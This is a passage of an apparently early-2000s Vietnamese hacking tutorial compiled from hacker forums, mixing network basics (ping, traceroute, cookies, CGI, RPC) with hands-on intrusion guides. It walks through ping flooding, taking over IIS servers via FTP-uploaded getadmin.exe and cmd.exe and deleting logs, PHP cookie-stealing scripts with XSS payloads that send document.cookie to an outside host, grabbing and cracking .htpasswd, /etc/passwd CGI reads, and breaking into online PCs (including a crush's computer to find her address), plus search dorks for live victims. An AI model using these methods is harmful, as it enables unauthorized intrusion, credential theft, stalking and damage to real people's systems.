sẽ gởi trở lại cho traceroute một ICMP error message "Port Unreachable". Khi nhận
được ICMP message này, traceroute sẽ biết được đã đến được hệ thống
đích xyz.com và kết thúc nhiệm vụ tại đây.
+ Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu
sao "*"(không biết) và tiếp tục gởi datagram khác đến host đích!
_Chú ý:
Trong windows: tracert hostname
Trong unix: traceroute hostname

( Tài liệu của viethacker.net )

18 . ) Ping và cách sử dụng :

_ Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán
mạng. Tiểu sử của từ "ping" như sau: Ping là tiếng động vang ra khi 1 tàu ngầm
muốn biết có 1 vật thể khác ở gần mình hay ko, nếu có 1 vật thể nào đó
gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ
là "pong" vậy thì tàu ngầm đó sẽ biết là có gì gần mình.
_Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề
cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host,
nếu host đó "pong" lại có nghĩa là host đó tồn tại (hoặc là có thể với tới
đựoc). Ping cũng có thể giúp chúng ta biêt được luợng thời gian một gói tin
(data packet) đi từ máy tính của mình đến 1 host nào đó.
_Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ "ping địa_chỉ_ip", mặc định
sẽ ping 4 lần, nhưng bạn cũng có thể gõ

"ping ip.address -t"

Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:

"ping -l (size) địa_chỉ_ip "


Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu
gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định
được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay
trở lại và chia bốn (gọi là "trip time"). Ping cũng có thể được dùng để làm
chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt
ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên Windows
quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping flood” sẽ
chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối
phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem
trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút
lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn
một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng
tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách
liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất
cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự.
Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable
Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản
Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó
là Unix hay Linux, nó sẽ có tham số -f.

( Tài liệu của HVA và viethacker.net )

19 . ) Kỹ thuật xâm nhập Window NT từ mạng Internet :

_ Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về
hack , bây giờ tôi sẽ bày lại cho các bạn . bạn sẽ cần phảI có một số
thờI gian để thực hiện được nó vì nó tuy dễ nhưng khó . Ta sẽ bắt đầu
:
_ Đầu tiên bạn cần tìm một server chạy IIS :
_ Tiếp đến bạn vào DOS và đánh ' FTP <the company name>'. VD :

c:\Ftp www.dodgyinc.com

( trang naỳ khi tôi thực hành thì vẫn còn làm được , bây giờ không biết họ
đã fix chưa , nếu bạn nào có trang nào khác thì hãy post lên cho mọI ngườI cùng
làm nhé )
Nếu connect thành công , bạn sẽ thấy một số dòng tương tự như thế này :

Connected to www.dodgyinc.com.
220 Vdodgy Microsoft FTP Service (Version 3.0).
User (www.dodgyinc.com:(none)):

Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng , nó cho ta biết
tên Netbios của máy tính là “ Vdodgy ” . Từ điều này bạn có thể suy diễn ra
tên mà được sử dụng cho NT để cho phép ta có thể khai thác , mặc định mà
dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là “IUSR_VDODGY” . Hãy nhớ
lấy vì nó sẽ có ích cho ta . Nhập "anonymous” trong user nó sẽ xuất hiện dòng
sau :

331 Anonymous access allowed, send identity (e-mail name) as password.
Password:

Bây giờ passwd sẽ là bất cứ gì mà ta chưa biết , tuy nhiên , bạn hãy thử
đánh vào passwd là “anonymous” . Nếu nó sai , bạn hãy log in lạI thiết bị FTP ,
bạn hãy nhớ là khi ta quay lạI lần này thì không sử dụng cách mạo danh nữa (
anonymous ) mà sử dụng “'Guest” , thử lại passwd với “guest” xem thế nào .
Bây giờ bạn hãy đánh lệnh trong DOS :

Cd /c

Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công , bây giờ bạn
hãy nhanh chóng tìm thư mục 'cgi-bin' . Nếu như bạn may mắn , bạn sẽ tìm được
dễ dàng vì thông thường hệ thống quản lý đã đặt 'cgi-bin' vào nơi mà ta
vừa xâm nhập để cho các ngườI quản lý họ dễ dàng điều khiển mạng hơn .
thư mục cgi-bin có thể chứa các chương trình mà bạn có thể lợi dụng nó để
chạy từ trình duyệt Web của bạn . Ta hãy bắt đầu “quậy” nào .
_ Đầu tiên , bạn hãy chuyển tớ thư mục cgi-bin và sử dụng lệnh “Binary” (
có thể các bạn không cần dùng lệnh này ) , sau đó bạn dánh tiếp lệnh “put
cmd.exe” . Tiếp theo là bạn cần có file hack để cài vào thư mục này , hãy tìm
trên mạng để lấy 2 file quan trọng nhất đó là 'getadmin.exe' và 'gasys.dll' .
Download chúng xuống , một khi bạn đã có nó hãy cài vào trong thư mục cgi-bin . Ok
, coi như mọI việc đã xong , bạn hãy đóng cửa sổ DOS .
Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn :

http://www.dodgyinc.com/cgi-bin/getadmin.exe?IUSR_VDODGY

Sau vài giây bạn sẽ có được câu trả lời như ở dướI đây :

CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The
headers it did return are:
Congratulations , now account IUSR_VDODGY have administrator rights!

Thế là bạn đã mạo danh admin để xâm nhập hệ thống , việc cần thiết bây
giờ là bạn hãy tự tạo cho mình một account , hãy đánh dòng sau trên IE :

http://www.dodgyinc.com/cgi-
bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20hacker%20toilahacker%20/add

dòng lệnh trên sẽ tạo cho bạn một account login với user : anhdenday và passwd :
toilahackerBây giờ bạn hãy là cho user này có account của admin , bạn chỉ cần
đánh lên IE lệnh :

http://www.dodgyinc.com/cgi-bin/getadmin.exe?anhdenday

Vậy là xong rùi đó , bạn hãy disconnect và đến start menu -> find rồi search
computer 'www.dodgyinc.com'. Khi tìm thấy , bạn vào explore , explore NT sẽ mở ra bạn
hay nhập user và passwd để mở nó ( của tôi là user : anhdenday và passwd :
toilahacker ) .

Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại , do
đó để xoá dấu vết bạn hãy vào 'Winnt\system32\logfiles' mở file log đó rồI xoá
những thông tin liên quan đến bạn , rồI save chúng . Nếu bạn muốn lấy một
thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng
trên máy tính vớI URL sau :

http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20date%2030/04/03

xong rồI bạn hãy xoá file 'getadmin.exe', và 'gasys.dll' từ 'cgi-bin' . Mục đích khi
ta xâm nhập hệ thống này là “chôm” pass của admin để lần sau xâm nhập một
cách hợp lệ , do đó bạn hãy tìm file SAM ( chứa pass của admin và member ) trong
hệ thống rồI dùng chương trình “l0pht crack” để crack pass ( Hướng dẫn về
cách sử dụng “l0pht crack v 3.02” tôi đã post lên rồi ,các bạn hãy tự nghiên
cứu nhé ) . Đây là link : http://vnhacker.org/forum/?act=ST&f=6&t=11566&s=
Khi crack xong các bạn đã có user và pass của admin rồI , bây giờ hãy xoá account
của user ( của tôi là “anhdenday” ) đi cho an toàn . Bạn đã có thể làm gì
trong hệ thống là tuỳ thích , nhưng các bạn đừng xoá hết tài liệu của họ
nhé , tội cho họ lắm .
Bạn cảm thấy thế nào , rắc rối lắm phải không . Lúc tôi thử hack cách này ,
tôi đã mày mò mất cả 4 giờ , nếu như bạn đã quen thì lần thứ 2 bạn sẽ
mất ít thờI gian hơn .

Ở phần 3 tôi sẽ đề cập đến HĐH Linux , đến cách ngắt mật khẩu bảo vệ
của một Web site , và làm thế nào để hack một trang web đơn giản nhất
.v.v…
20 . ) Cookie là gì ?

_ Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site
và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu
nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy
tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà
họ đi qua trong site. Những thông tin này có thể bao gồm tên/định danh người
dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp
nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie.
Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ
trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại
những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1
forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các
thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các
thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông
tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng
nhập, đoạt quyền điêu khiển site .

_ Cookies thường có các thành phần sau :

+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ
đựơc mã hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để
nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy
và bị giới hạn trong khoảng 4k.

( Tài liệu của Viethacker.net )

Những hiểu biết cơ bản nhất để trở thành Hacker

21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :

_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :

CODE
<?php
define ("LINE", "\r\n");
define ("HTML_LINE", "");
function getvars($arr, $title)
{
$res = "";
$len = count($arr);
if ($len>0)
{
if (strlen($title)>0)
{
print("[--------$title--------]" . HTML_LINE);
$res .= "[--------$title--------]" . LINE;
}
foreach ($arr as $key => $value)
{
print("[$key]" . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= "[$key]" . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date("Y-m-d H:i:s");
// init
$myData = "[-----$now-----]" . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, "");
// file
$file = $REMOTE_ADDR . ".txt";
$mode = "r+";
if (!file_exists($file))
$mode = "w+";
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
?>


hoặc

CODE
<?php
if ($contents && $header){
mail("victim@yahoo.com" , "from mail script",$contents,$header) or
die('couldnt email it');
sleep(2);
?>
<script language=javascript>

</script>
<?php
} else {
echo "nope";
}


(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .

Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn >.php ” ( Nhớ là
phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi
là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ?
) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie )
của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save
thông tin đó thành file < ip của nạn nhân >.txt .
_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng
chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :

CODE
document.write('')


với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .
và abc.php là file VD của tôi .
_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:

CODE
[img]# Document.write('[html:img
src=http://host_php/docs.php?docs='+escape(document.cookie)+']')


hoặc:

# Document.write('&#x3cimg
src=http://host_php/docs.php?docs='+escape(document.cookie)+'&#x3e')



_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách
vào google.com tìm những forum bị lỗi này bằng từ khoá "Powered by …….. forum”
với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các
bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực
hành , ai tìm được thì chia sẽ với mọi người nhé .
_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm
.

22 . ) Cách ngắt mật khẩu bảo vệ Website :

_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số
chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box
yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông
tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ
nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click
vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm
ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước
trong tên file '.htaccess'? Các file có tên bắt đầu là một dấu chấm '.' sẽ
được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi
(hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ
này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn
xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công
việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link
đó mới mở ra . Bạn hãy nhìn VD sau :

CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f


Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì
không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể
đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess .
Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn
nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi crack mớ mật
khẩu chết tiệt đó ( khi chưa có đồ nghề crack mật khẩu trong tay . Tôi cũng
đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post
lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm
ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn
hãy xem link VD sau :

http://www.company.com/cgi-bin/protected/


hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập
URL sau :

http://www.company.com/cgi-bin/protected/.htpasswd

Nếu bạn thấy có câu trả lờI 'File not found' hoặc tương tự thì chắc chắn
file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau
:

http://www.company.com/.htpasswd
http://www.company.com/cgi-bin/.htpasswd
http://www.company.com/cgi-bin/passwords/.htpasswd
http://www.company.com/cgi-bin/passwd/.htpasswd

nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có
thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy
thì thôi nhé .
Khi tìm thấy file này rồi , bạn hãy dùng chương trình "John the ripper" hoặc
"Crackerjack", để crack passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã
biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào
rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng
đừng có đổi pass của họ hay quậy họ nhé .
Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết
những thành viên trong nhóm kín đều là “có chức có quyền” cả .

23 . ) Tìm hiểu về CGI ?

_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang
sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công
việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là
những chương trình được viết và được upload lên trang Web vớI những ngôn
ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì
sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là
nó có thể chạy liên tục trong 24 giờ trong ngày .
_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD
sau :

http://www.company.com/cgi-bin/login.cgi


với những công việc cụ thể như :
+ Tạo ra chương trình đếm số người đã ghé thăm .
+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên
Website của bạn .
+ Quản lý user name và passwd của thành viên .
+ Cung cấp dịch vụ Mail .
+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành
viên .
+ Cung cấp những thông báo lỗi chi tiết .v.v…..

24 . ) Cách hack Web cơ bản nhất thông qua CGI script :

_ Lỗi thứ 1 : lỗi nph-test-cgi

+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn .
+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi
+ Lúc đó trên URL bạn sẽ nhìn giống như thế này :

http://www.servername.com/cgi-bin/nph-test-cgi

+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư
mục nào bạn đánh tiếp :

CODE
?<tên thư mục>/*


+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL
dòng sau :

http://www.servername.com/cgi-bin/nph-test-cgi?/etc/*

_ Lỗi thứ 2 : lỗi php.cgi

+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass :

http://www.servername.com/cgi-bin/php.cgi?/etc/passwd

Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn
thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá :

/cgi-bin/php.cgi?/etc/passwd]
hoặc cgi-bin/nph-test-cgi?/etc

sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành
nhé .

25 . ) Kỹ thuật xâm nhập máy tính đang online :

_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn
có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi
dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách
đáng kể và những máy họ không share thì không thể xâm nhập được, do đó
nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một
cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân
không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu :
_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu .
_ Vào Start ==> Run gõ lệnh cmd .
_ Trong cửa sổ DOS hãy đánh lệnh “net view <IP của nạn nhân>”

+ VD : c:\net view 203.162.30.xx


_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh
tiếp lệnh

net use <ổ đĩa bất kỳ trên máy của bạn> : <ip của nạn nhân><ổ share của
nạn nhân>

+ VD : c:\net use E : 203.162.30.xxC

_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy
download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình
“pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và
chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai
chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai
ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý
chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong
mạng Internet là trên dướI 5000 .
_ Nếu máy của nạn nhân không có share thì ta đánh lệnh :

net use <ổ đĩa bất kỳ trên máy của bạn> : <ip của nạn nhân>c$ (hoặc
d$)"administrator"

+ VD : net use E : 203.162.30.xxC$"administrator"

Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là
"administrator" .
_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình
“thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ
của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi
tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh :

c:\netstat –n

Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass
với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP
của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh
chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng
cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` .
)
Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy .

====================================================

Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập ,
nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có
địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có
bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn
cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ
nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không
đưa ra địa chỉ cụ thể nào .

====================================================

Tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của
mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web ,
kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi
Gallery.v.v…….

26 . ) Tìm hiểu về RPC (Remote Procedure Call) :

_ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán .
Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân
tán hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính
bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến
trình này có thể chạy trên một hay nhiều máy tính.
_Microsoft RPC sử dụng name service provider để định vị Servers trên mạng. Microsoft
RPC name service provider phải đi liền với Microsoft RPC name service interface (NIS). NIS
bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name
service database (name service database chứa các thực thể, nhóm các thực thể, lịch
sử các thực thể trên Server).
Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service
provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows NT.


27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online
thông qua RPC (Remote Procedure Call) :

_ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote
desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call thì hiện tại
không có chương trình nào có thể remote desktop để theo dõi bạn được . Nó còn
chống được hầu hết tools xâm nhập vào máy ( vì đa số các tools viết connect
dựa trên remote procedure call ( over tcp/ip )).Các trojan đa số cũng dựa vào giao
thức này.

Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup
typt/disable hoặc manual/ apply.

Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file
sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó
không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết
bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý
. Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn
tương đối an toàn rồi đó .

( Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA )


28 . ) Những bước để hack một trang web hiện nay :

_ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta
thực hiện những bước sau :
+ FootPrinting : ( In dấu chân )
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy
chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS
..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều
khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm
những thong tin đó.

Xem thêm tại đây

+ Scanning : ( Quét thăm dò )
Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh
những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định
hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro,
siphon, fscam và còn nhiều công cụ khác nữa.
+ Enumeration : ( liệt kê tìm lỗ hổng )
Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài
khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu
mặc định, các script và dịch vụ mặc định. Rât nhiều người quản trị mạng
không biết đến hoặc không sửa đổi lại các giá trị này.
+ Gaining Access: ( Tìm cách xâm nhập )
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có
được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn
công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là
brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường
được sử dụng ở bước này là NAT, podium, hoặc L0pht.
+ Escalating Privileges : ( Leo thang đặc quyền )
Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest,
thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack
password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper
là hai chương trình crack password rất hay được sử dụng.
+ Pilfering : ( Dùng khi các file chứa pass bị sơ hở )
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương
pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn
khác có thể là mồi ngon cho hacker.
+ Covering Tracks : ( Xoá dấu vết )
Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các
file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã
bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
+ Creating "Back Doors" : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được
dễ dàng hơn )
Hacker để lại "Back Doors", tức là một cơ chế cho phép hacker truy nhập trở lại
bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt
Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là
các loại Trojan, keylog…
+ Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ )
Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để
tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ
bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ
làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử
dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker, flooder .
Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay .
_ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào .
Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “ biết
người biết ta trăm trận trăm thắng ” .

( Tài liệu của HVA và hackervn.net )

Xem thêm tại đây

29 . ) Cách tìm các Website bị lỗi :

_ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên
mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang
đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng trang google.com và
khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) .
_ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào
google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã lỗi
trang Web sau :

cgi-bin/php.cgi?/etc/passwd

các bạn sẽ đánh :

“allinurl:cgi-bin/php.cgi?/etc/passwd”

Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn hãy
nhìn xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá cây )
nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị
lỗi .Các bạn có xâm nhập vào được hay không thì cũng còn tuỳ vào trang Web
đó đã fix lỗi này hay chưa nữa .
_ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực
tập , chỉ cần nhập từ khoá

powered by <tên forum> <số phiên bản>

VD sau là để tìm forum dùng Snitz 2000 :

powered by Snitz 2000

_ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác
suất không cao , bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc
trưng cho từng kiểu trang Web hoặc forum đó ( cái này rất quan trọng , các bạn
hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có
đoạn đặc trưng sau

